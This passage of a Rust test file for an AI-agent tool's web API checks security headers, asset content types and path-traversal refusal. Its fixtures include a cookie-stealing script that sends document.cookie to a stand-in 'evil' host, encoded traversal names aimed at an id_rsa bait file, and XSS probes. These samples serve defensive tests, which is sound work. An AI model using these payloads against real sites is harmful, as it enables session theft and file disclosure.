7098 PathBuf::from("/repo/magi"),
7099 "main".to_owned(),
7100 "0123456789abcdef".to_owned(),
7101 "Add a web UI\n\nMobile first.".to_owned(),
7102 Config::default(),
7103 );
7104 state.id = id.to_owned();
7105 state.status = status;
7106 let dir = runs.join(id);
7107 std::fs::create_dir_all(&dir).expect("run dir");
7108 std::fs::write(
7109 dir.join("run.json"),
7110 serde_json::to_string_pretty(&state).expect("serialize run"),
7111 )
7112 .expect("write run.json");
7113 }
7114
7115 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7119 let mut state = RunState::new(
7120 PathBuf::from(repo),
7121 "main".to_owned(),
7122 "0123456789abcdef".to_owned(),
7123 "task".to_owned(),
7124 Config::default(),
7125 );
7126 state.id = id.to_owned();
7127 state.status = status;
7128 let dir = runs.join(id);
7129 std::fs::create_dir_all(&dir).expect("run dir");
7130 std::fs::write(
7131 dir.join("run.json"),
7132 serde_json::to_string_pretty(&state).expect("serialize run"),
7133 )
7134 .expect("write run.json");
7135 }
7136
7137 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7138 let body = serde_json::json!({
7139 "schema": 1,
7140 "pid": 4242,
7141 "started_at": Timestamp::now().to_string(),
7142 "updated_at": updated_at.to_string(),
7143 "idle": false,
7144 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7145 "completed": 7,
7146 "polls": 143,
7147 });
7148 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7149 }
7150
7151 fn launch_idle(
7161 _opts: daemon::Opts,
7162 stop: daemon::Stop,
7163 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7164 Box::pin(async move {
7165 while !stop.stopped() {
7166 tokio::time::sleep(Duration::from_millis(2)).await;
7167 }
7168 Ok(())
7169 })
7170 }
7171
7172 fn launch_broken(
7175 _opts: daemon::Opts,
7176 _stop: daemon::Stop,
7177 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7178 Box::pin(async {
7179 Err(anyhow::anyhow!(
7180 "publish the daemon status file: read-only file system"
7181 ))
7182 })
7183 }
7184
7185 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7192 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7193
7194 fn launch_knocking_on_the_way_out(
7201 _opts: daemon::Opts,
7202 stop: daemon::Stop,
7203 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7204 Box::pin(async move {
7205 while !stop.stopped() {
7206 tokio::time::sleep(Duration::from_millis(2)).await;
7207 }
7208 let addr = PARK_KNOCK
7209 .lock()
7210 .expect("park knock")
7211 .expect("the test set an address");
7212 let heard = request(addr, "GET", "/api/health", None).await.status;
7213 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7214 Ok(())
7215 })
7216 }
7217
7218 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7227 for _ in 0..SETTLE_STEPS {
7228 let view = fx.get("/api/loop").await.json();
7229 if want(&view) {
7230 return view;
7231 }
7232 tokio::time::sleep(Duration::from_millis(10)).await;
7233 }
7234 panic!(
7235 "the loop never settled: {}",
7236 fx.get("/api/loop").await.json()
7237 );
7238 }
7239
7240 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7242 let store = fx.questions();
7243 let mut q = Question::new(
7244 "20260902-000000-beef".to_owned(),
7245 "implement".to_owned(),
7246 "impl-A".to_owned(),
7247 summary.to_owned(),
7248 "because it matters".to_owned(),
7249 choices.iter().map(|c| (*c).to_owned()).collect(),
7250 );
7251 store.put(&mut q).expect("put question");
7252 q.id
7253 }
7254
7255 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7261 let store = fx.questions();
7262 let mut q = Question::new(
7263 "20260902-000000-beef".to_owned(),
7264 "land".to_owned(),
7265 "fix".to_owned(),
7266 "Merge this?".to_owned(),
7267 "the diff is in the panel".to_owned(),
7268 vec!["merge".to_owned(), "hold".to_owned()],
7269 );
7270 let staging = fx.home.path().join("staging");
7273 std::fs::create_dir_all(&staging).expect("staging dir");
7274 let sources: Vec<PathBuf> = assets
7275 .iter()
7276 .map(|(name, bytes)| {
7277 let path = staging.join(name);
7278 std::fs::write(&path, bytes).expect("write staged asset");
7279 path
7280 })
7281 .collect();
7282 store
7283 .put_panel(&mut q, html, &sources)
7284 .expect("write the panel");
7285 store.put(&mut q).expect("put question");
7286 q.id
7287 }
7288
7289 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7298 seed_talk_at(&fx.talks(), id, status)
7299 }
7300
7301 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7302 std::fs::create_dir_all(store.root()).expect("talks dir");
7303 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7304 .expect("serialize a seat");
7305 let body = serde_json::json!({
7306 "schema": 1,
7307 "id": id,
7308 "repo": "/repo/magi",
7309 "agent": "mock",
7310 "status": status,
7311 "turns": [],
7312 "created_at": Timestamp::now().to_string(),
7313 "updated_at": Timestamp::now().to_string(),
7314 "seat": seat,
7315 });
7316 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7317 store.get(id).expect("the seeded talk has to be readable");
7318 id.to_owned()
7319 }
7320
7321 #[tokio::test]
7322 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7323 let fx = Fixture::start().await;
7324 let id = panel(
7325 &fx,
7326 "<h1>Merge?</h1><img src=\"diff.svg\">",
7327 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7328 );
7329
7330 for path in [
7331 format!("/api/questions/{id}/panel"),
7332 format!("/api/questions/{id}/asset/diff.svg"),
7333 ] {
7334 let res = fx.get(&path).await;
7335 assert_eq!(res.status, 200, "{path}: {}", res.body);
7336 assert_eq!(
7342 res.header("content-security-policy"),
7343 Some(
7344 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7345 font-src data:; base-uri 'none'; form-action 'none'; \
7346 frame-ancestors 'self'"
7347 ),
7348 "{path} is the only thing between a hostile panel and the tailnet"
7349 );
7350 assert_eq!(
7351 res.header("x-content-type-options"),
7352 Some("nosniff"),
7353 "{path}: a browser must not re-decide the type we sent"
7354 );
7355 assert_eq!(
7356 res.header("referrer-policy"),
7357 Some("no-referrer"),
7358 "{path}: a panel must not leak the question id off the machine"
7359 );
7360
7361 let pre = fx.head(&path).await;
7366 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7367 assert_eq!(
7368 pre.header("content-security-policy"),
7369 res.header("content-security-policy"),
7370 "{path}: the preflight carries the same policy"
7371 );
7372 assert_eq!(
7373 pre.header("content-type"),
7374 res.header("content-type"),
7375 "{path}: the preflight carries the same type"
7376 );
7377 }
7378 }
7379
7380 #[tokio::test]
7381 async fn a_panel_reaches_the_browser_byte_for_byte() {
7382 let fx = Fixture::start().await;
7383 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7388 let id = panel(&fx, html, &[]);
7389
7390 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7391
7392 assert_eq!(res.status, 200);
7393 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7394 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7395 assert_eq!(
7396 res.header("content-disposition"),
7397 None,
7398 "the panel itself is rendered in the frame, not downloaded"
7399 );
7400 }
7401
7402 #[tokio::test]
7403 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7404 let fx = Fixture::start().await;
7405 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7406 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7407 let id = panel(
7408 &fx,
7409 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7410 &[("diff.svg", svg), ("shot.png", png)],
7411 );
7412
7413 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7414 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7415
7416 assert_eq!(as_svg.status, 200);
7417 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7418 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7423
7424 assert_eq!(as_png.status, 200);
7425 assert_eq!(as_png.header("content-type"), Some("image/png"));
7426 assert_eq!(
7427 as_png.header("content-disposition"),
7428 None,
7429 "a raster image has no execution surface, so tapping it still shows it"
7430 );
7431 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7432 }
7433
7434 #[tokio::test]
7435 async fn an_html_asset_is_never_served_as_html() {
7436 let fx = Fixture::start().await;
7437 let id = panel(
7438 &fx,
7439 "<p>see the notes</p>",
7440 &[
7441 (
7442 "notes.html",
7443 b"<script>fetch('http://evil/'+document.cookie)</script>",
7444 ),
7445 ("hook.js", b"fetch('http://evil/')"),
7446 ("data.json", b"{}"),
7447 ("HEADLINE.TXT", b"plain"),
7448 ],
7449 );
7450
7451 for name in ["notes.html", "hook.js", "data.json"] {
7452 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7453 assert_eq!(res.status, 200, "{name}: {}", res.body);
7454 assert_eq!(
7459 res.header("content-type"),
7460 Some("application/octet-stream"),
7461 "{name} must not be a type the browser will execute or render"
7462 );
7463 }
7464 let txt = fx
7467 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7468 .await;
7469 assert_eq!(
7470 txt.header("content-type"),
7471 Some("text/plain; charset=utf-8")
7472 );
7473 }
7474
7475 #[tokio::test]
7476 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7477 let fx = Fixture::start().await;
7478 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7479 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7483
7484 for encoded in [
7491 "%2e%2e%2fid_rsa",
7492 "..%2fid_rsa",
7493 "..%5cid_rsa",
7494 "%2e%2e%5cid_rsa",
7495 "diff%00.svg",
7496 "..",
7497 ".hidden",
7498 "%2e%2e%2f%2e%2e%2fid_rsa",
7499 ] {
7500 let res = fx
7501 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7502 .await;
7503 assert_eq!(
7504 res.status, 400,
7505 "`{encoded}` has to be refused by name, not looked up: {}",
7506 res.body
7507 );
7508 assert!(res.json()["error"].is_string(), "{}", res.body);
7509 }
7510
7511 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7517 let res = fx
7518 .get(&format!("/api/questions/{id}/asset/{literal}"))
7519 .await;
7520 assert_eq!(
7521 res.status, 404,
7522 "`{literal}` must not match the asset route at all: {}",
7523 res.body
7524 );
7525 }
7526 }
7527
7528 #[tokio::test]
7529 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7530 let fx = Fixture::start().await;
7531 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7532 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7533
7534 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7538 assert_eq!(none.status, 404, "{}", none.body);
7539 assert!(none.json()["error"].is_string(), "{}", none.body);
7540 assert_eq!(
7541 fx.head(&format!("/api/questions/{plain}/panel"))
7542 .await
7543 .status,
7544 404,
7545 "the preflight is the only way the client can learn this"
7546 );
7547
7548 let missing = fx
7550 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7551 .await;
7552 assert_eq!(missing.status, 404, "{}", missing.body);
7553 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7554
7555 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7557 assert_eq!(
7558 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7559 404
7560 );
7561 }
7562
7563 #[tokio::test]
7564 async fn a_run_with_an_open_question_reads_as_waiting() {
7565 let fx = Fixture::start().await;
7566 let run = "20260902-000000-beef".to_owned();
7567 write_run(&fx.runs(), &run, RunStatus::Implementing);
7568
7569 let before = fx.get("/api/runs").await.json();
7570 assert_eq!(before[0]["waiting"], false, "{before}");
7571
7572 let store = fx.questions();
7573 let mut q = Question::new(
7574 run.clone(),
7575 "implement".to_owned(),
7576 "impl-A".to_owned(),
7577 "Which backend?".to_owned(),
7578 String::new(),
7579 vec!["SQLite".to_owned()],
7580 );
7581 store.put(&mut q).expect("put");
7582
7583 let during = fx.get("/api/runs").await.json();
7584 assert_eq!(during[0]["waiting"], true, "{during}");
7585
7586 q.answer(Answer::Choice("SQLite".to_owned()))
7589 .expect("answer");
7590 store.put(&mut q).expect("put");
7591 let after = fx.get("/api/runs").await.json();
7592 assert_eq!(after[0]["waiting"], false, "{after}");
7593 }
7594
7595 #[tokio::test]
7596 async fn an_open_question_is_listed_and_counted_by_health() {
7597 let fx = Fixture::start().await;
7598 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7599
7600 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7601 let listed = fx.get("/api/questions").await.json();
7602 assert_eq!(listed.as_array().expect("array").len(), 1);
7603 assert_eq!(listed[0]["id"], id);
7604 assert_eq!(listed[0]["status"], "open");
7605 assert_eq!(listed[0]["choices"][1], "Redis");
7606 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7609 }
7610
7611 #[tokio::test]
7612 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7613 let fx = Fixture::start().await;
7614 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7615 let path = format!("/api/questions/{id}/answer");
7616
7617 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7618 assert_eq!(res.status, 200, "{}", res.body);
7619 let body = res.json();
7620 assert_eq!(body["status"], "answered");
7621 assert_eq!(body["answer"]["choice"], "Redis");
7622
7623 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7627 assert_eq!(again.status, 409, "{}", again.body);
7628 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7629 }
7630
7631 #[tokio::test]
7632 async fn saying_something_appends_a_turn_without_answering() {
7633 let fx = Fixture::start().await;
7634 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7635 let path = format!("/api/questions/{id}/say");
7636
7637 let res = fx
7638 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7639 .await;
7640 assert_eq!(res.status, 200, "{}", res.body);
7641 let body = res.json();
7642 assert_eq!(body["status"], "open", "talking back is not a decision");
7643 assert_eq!(body["answer"], Value::Null);
7644 assert_eq!(body["thread"][0]["who"], "operator");
7645 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7646 assert_eq!(body["waiting_on_agent"], true);
7647 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7649 }
7650
7651 #[tokio::test]
7652 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7653 let fx = Fixture::start().await;
7654 let store = fx.questions();
7655 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7656 assert_eq!(
7657 fx.get("/api/health").await.json()["questions_needs_owner"],
7658 1
7659 );
7660
7661 let res = fx
7667 .post(
7668 &format!("/api/questions/{id}/say"),
7669 Some(r#"{"body":"why not Postgres?"}"#),
7670 )
7671 .await;
7672 assert_eq!(res.status, 200, "{}", res.body);
7673 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7674 assert_eq!(
7675 fx.get("/api/health").await.json()["questions_needs_owner"],
7676 0,
7677 "waiting on the agent is not waiting on the owner"
7678 );
7679
7680 let mut q = store.get(&id).expect("get");
7684 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7685 .expect("reply");
7686 store.put(&mut q).expect("put");
7687 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7688 assert_eq!(
7689 fx.get("/api/health").await.json()["questions_needs_owner"],
7690 1,
7691 "the agent's reply is what should light the banner back up"
7692 );
7693 }
7694
7695 #[tokio::test]
7696 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7697 let fx = Fixture::start().await;
7698 let store = fx.questions();
7699
7700 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7701 let res = fx
7702 .post(
7703 &format!("/api/questions/{empty_id}/say"),
7704 Some(r#"{"body":" "}"#),
7705 )
7706 .await;
7707 assert_eq!(res.status, 400, "{}", res.body);
7708
7709 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7710 let mut answered = store.get(&answered_id).expect("get");
7711 answered
7712 .answer(Answer::Choice("SQLite".to_owned()))
7713 .expect("answer");
7714 store.put(&mut answered).expect("put");
7715 let res = fx
7716 .post(
7717 &format!("/api/questions/{answered_id}/say"),
7718 Some(r#"{"body":"still there?"}"#),
7719 )
7720 .await;
7721 assert_eq!(res.status, 409, "{}", res.body);
7722
7723 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7724 let mut abandoned = store.get(&abandoned_id).expect("get");
7725 abandoned.abandon("timed out");
7726 store.put(&mut abandoned).expect("put");
7727 let res = fx
7728 .post(
7729 &format!("/api/questions/{abandoned_id}/say"),
7730 Some(r#"{"body":"still there?"}"#),
7731 )
7732 .await;
7733 assert_eq!(res.status, 409, "{}", res.body);
7734 }
7735
7736 #[tokio::test]
7737 async fn an_answer_the_question_does_not_offer_is_refused() {
7738 let fx = Fixture::start().await;
7739 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7740 let path = format!("/api/questions/{id}/answer");
7741
7742 for body in [
7743 r#"{"choice":"Postgres"}"#,
7744 r#"{"text":"whatever you think"}"#,
7745 r#"{"choice":"Redis","text":"both"}"#,
7746 r#"{}"#,
7747 ] {
7748 let res = fx.post(&path, Some(body)).await;
7749 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7750 assert!(res.json()["error"].is_string(), "{}", res.body);
7751 }
7752 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7754 }
7755
7756 #[tokio::test]
7757 async fn a_free_text_question_takes_text_and_not_a_choice() {
7758 let fx = Fixture::start().await;
7759 let id = ask(&fx, "What should the flag be called?", &[]);
7760 let path = format!("/api/questions/{id}/answer");
7761
7762 assert_eq!(
7763 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7764 400
7765 );
7766 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7767 assert_eq!(res.status, 200, "{}", res.body);
7768 assert_eq!(res.json()["answer"]["text"], "--json");
7769 }
7770
7771 #[tokio::test]
7772 async fn an_unknown_question_is_a_json_404() {
7773 let fx = Fixture::start().await;
7774 let res = fx
7775 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7776 .await;
7777 assert_eq!(res.status, 404, "{}", res.body);
7778 assert!(res.json()["error"].is_string());
7779 }
7780
7781 #[tokio::test]
7782 async fn notifications_list_read_dismiss_and_health_agree() {
7783 let fx = Fixture::start().await;
7784 let store = Notices::at(fx.home.path().join("notifications"));
7785 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7786 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7787
7788 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7789 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7790
7791 let health = fx.get("/api/health").await.json();
7792 assert_eq!(health["notifications_unread"], 2);
7793 assert_ne!(
7794 health["notifications_rev"], rev0,
7795 "the badge must move live"
7796 );
7797
7798 let listed = fx.get("/api/notifications").await.json();
7799 assert_eq!(listed["unread"], 2);
7800 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7801 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7802
7803 let read = fx
7804 .post(&format!("/api/notifications/{}/read", a.id), None)
7805 .await;
7806 assert_eq!(read.status, 200, "{}", read.body);
7807 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7808
7809 let gone = fx
7810 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7811 .await;
7812 assert_eq!(gone.status, 200, "{}", gone.body);
7813 let listed = fx.get("/api/notifications").await.json();
7814 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7815 assert_eq!(listed["unread"], 0);
7816
7817 store.raise(Notice::info("x", "again")).unwrap();
7818 let all = fx.post("/api/notifications/read-all", None).await;
7819 assert_eq!(all.status, 200, "{}", all.body);
7820 assert_eq!(all.json()["marked"], 1);
7821 assert_eq!(
7822 fx.get("/api/health").await.json()["notifications_unread"],
7823 0
7824 );
7825
7826 let missing = fx.post("/api/notifications/nope/read", None).await;
7827 assert_eq!(missing.status, 404, "{}", missing.body);
7828 assert!(missing.json()["error"].is_string());
7829 }
7830
7831 #[tokio::test]
7838 async fn a_task_cannot_be_filed_over_the_phone_directly() {
7839 let f = Fixture::start().await;
7840
7841 let res = f
7842 .post(
7843 "/api/queue",
7844 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7845 )
7846 .await;
7847
7848 assert_eq!(
7849 res.status, 405,
7850 "POST /api/queue must not be a route: {}",
7851 res.body
7852 );
7853 assert!(
7854 f.queue().list().is_empty(),
7855 "a task filed by a route that does not exist must not reach the disk"
7856 );
7857 assert_eq!(f.get("/api/queue").await.status, 200);
7860 }
7861
7862 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7864 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7865 .expect("checkout dir");
7866 }
7867
7868 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7870
7871 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7872 let tmp = TempDir::new().expect("tempdir");
7873 let repo = tmp.path().join("repo");
7874 std::fs::create_dir_all(&repo).expect("repo dir");
7875 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7876 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7877 if let Some(text) = machine_toml {
7878 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7879 std::fs::write(&machine, text).expect("machine toml");
7880 }
7881 (tmp, repo, machine)
7882 }
7883
7884 #[tokio::test]
7885 async fn settings_get_reports_sources_and_the_advisors_fallback() {
7886 let (_tmp, repo, machine) =
7887 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7888 let f = Fixture::with_repo_and_machine(repo, machine).await;
7889 let res = f.get("/api/settings").await;
7890 assert_eq!(res.status, 200, "{}", res.body);
7891 let v = res.json();
7892 assert!(v["error"].is_null(), "{v}");
7893 let role = |k: &str| {
7894 v["roles"]
7895 .as_array()
7896 .and_then(|r| r.iter().find(|x| x["key"] == k))
7897 .cloned()
7898 .unwrap_or_else(|| panic!("no role {k}: {v}"))
7899 };
7900 assert_eq!(role("judges")["source"], "machine");
7901 assert_eq!(role("judges")["editable"], true);
7902 assert_eq!(role("implementers")["source"], "default");
7903 let adv = role("advisors");
7904 assert_eq!(adv["fallback"], "judges");
7905 assert!(
7906 adv["seats"]
7907 .as_array()
7908 .is_some_and(|s| s.iter().all(|x| x == "b")),
7909 "{adv}"
7910 );
7911 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7912 assert_eq!(v["agents"][0]["source"], "repo");
7913 }
7914
7915 #[tokio::test]
7916 async fn settings_get_reports_a_config_that_does_not_parse() {
7917 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7918 let f = Fixture::with_repo_and_machine(repo, machine).await;
7919 let res = f.get("/api/settings").await;
7920 assert_eq!(res.status, 200, "{}", res.body);
7921 let v = res.json();
7922 assert!(v["error"]["message"].is_string(), "{v}");
7923 assert!(
7924 v["error"]["path"]
7925 .as_str()
7926 .is_some_and(|p| p.ends_with("magi.toml")),
7927 "{v}"
7928 );
7929 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7930 }
7931
7932 #[tokio::test]
7933 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7934 let (_tmp, repo, machine) = settings_dirs(
7935 SETTINGS_AGENTS,
7936 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
7937 );
7938 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7939 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7940 let rev = f.get("/api/settings").await.json()["revision"]
7941 .as_str()
7942 .expect("revision")
7943 .to_owned();
7944 let body = serde_json::json!({
7945 "revision": rev,
7946 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7947 })
7948 .to_string();
7949 let res = f.put("/api/settings/roles", &body).await;
7950 assert_eq!(res.status, 200, "{}", res.body);
7951 let text = std::fs::read_to_string(&machine).expect("machine");
7952 assert_eq!(
7953 text,
7954 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7955 );
7956 assert_eq!(
7957 std::fs::read(repo.join("magi.toml")).expect("read"),
7958 repo_before
7959 );
7960 let again = f.get("/api/settings").await.json();
7961 let judges = again["roles"]
7962 .as_array()
7963 .expect("roles")
7964 .iter()
7965 .find(|r| r["key"] == "judges")
7966 .expect("judges")
7967 .clone();
7968 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7969 let stale = f.put("/api/settings/roles", &body).await;
7971 assert_eq!(stale.status, 409, "{}", stale.body);
7972 }
7973
7974 #[tokio::test]
7975 async fn settings_put_refuses_without_touching_the_file() {
7976 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7977 let (_tmp, repo, machine) = settings_dirs(
7978 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7979 Some(machine_text),
7980 );
7981 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7982 let rev = f.get("/api/settings").await.json()["revision"]
7983 .as_str()
7984 .expect("revision")
7985 .to_owned();
7986 for roles in [
7987 serde_json::json!({ "judges": ["nope"] }),
7988 serde_json::json!({ "reviewers": ["b"] }),
7989 serde_json::json!({ "bogus": ["a"] }),
7990 ] {
7991 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7992 let res = f.put("/api/settings/roles", &body).await;
7993 assert_eq!(res.status, 422, "{roles}: {}", res.body);
7994 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7995 assert_eq!(
7996 std::fs::read_to_string(&machine).expect("machine"),
7997 machine_text
7998 );
7999 }
8000 }
8001
8002 #[tokio::test]
8003 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8004 let tmp = TempDir::new().expect("tempdir");
8005 let repo = tmp.path().join("repo");
8006 std::fs::create_dir_all(&repo).expect("repo dir");
8007 let root = tmp.path().join("root");
8008 make_checkout(&root, "github.com", "yukimemi", "magi");
8009 std::fs::write(
8010 repo.join("magi.toml"),
8011 format!(
8012 "[repos]\nroots = [{:?}]\n",
8013 root.to_string_lossy().into_owned()
8014 ),
8015 )
8016 .expect("write magi.toml");
8017
8018 let f = Fixture::with_repo(repo).await;
8019 let res = f.get("/api/repos").await;
8020 assert_eq!(res.status, 200, "{}", res.body);
8021 let list = res.json();
8022 let repos = list.as_array().expect("an array");
8023 assert_eq!(repos.len(), 1);
8024 assert_eq!(repos[0]["name"], "yukimemi/magi");
8025 assert!(
8026 repos[0]["path"]
8027 .as_str()
8028 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8029 "{list}"
8030 );
8031 }
8032
8033 #[tokio::test]
8034 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8035 let tmp = TempDir::new().expect("tempdir");
8036 let repo = tmp.path().join("repo");
8037 std::fs::create_dir_all(&repo).expect("repo dir");
8038 let root = tmp.path().join("root");
8039 make_checkout(&root, "github.com", "yukimemi", "magi");
8040 std::fs::write(
8041 repo.join("magi.toml"),
8042 format!(
8043 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8044 root.to_string_lossy().into_owned()
8045 ),
8046 )
8047 .expect("write magi.toml");
8048
8049 let f = Fixture::with_repo(repo).await;
8050 let first = f.get("/api/repos").await;
8051 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8052
8053 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8056 let second = f.get("/api/repos").await;
8057 assert_eq!(
8058 second.json().as_array().map(Vec::len),
8059 Some(1),
8060 "a fresh cache must not rescan inside the TTL"
8061 );
8062
8063 let refreshed = f.get("/api/repos?refresh=1").await;
8064 assert_eq!(
8065 refreshed.json().as_array().map(Vec::len),
8066 Some(2),
8067 "an explicit refresh must rescan even inside the TTL"
8068 );
8069 }
8070
8071 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8077
8078 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8082 let tmp = TempDir::new().expect("tempdir");
8083 let repo = tmp.path().join("repo");
8084 std::fs::create_dir_all(&repo).expect("repo dir");
8085 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8086 let f = Fixture::with_repo(repo.clone()).await;
8087 (tmp, repo, f)
8088 }
8089
8090 #[tokio::test]
8091 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8092 let (_tmp, _repo, f) = talk_fixture().await;
8093
8094 let opened = f.post("/api/talks", None).await;
8097 assert_eq!(opened.status, 201, "{}", opened.body);
8098 let body = opened.json();
8099 assert_eq!(body["status"], "open");
8100 assert_eq!(
8101 body["turns"].as_array().unwrap().len(),
8102 0,
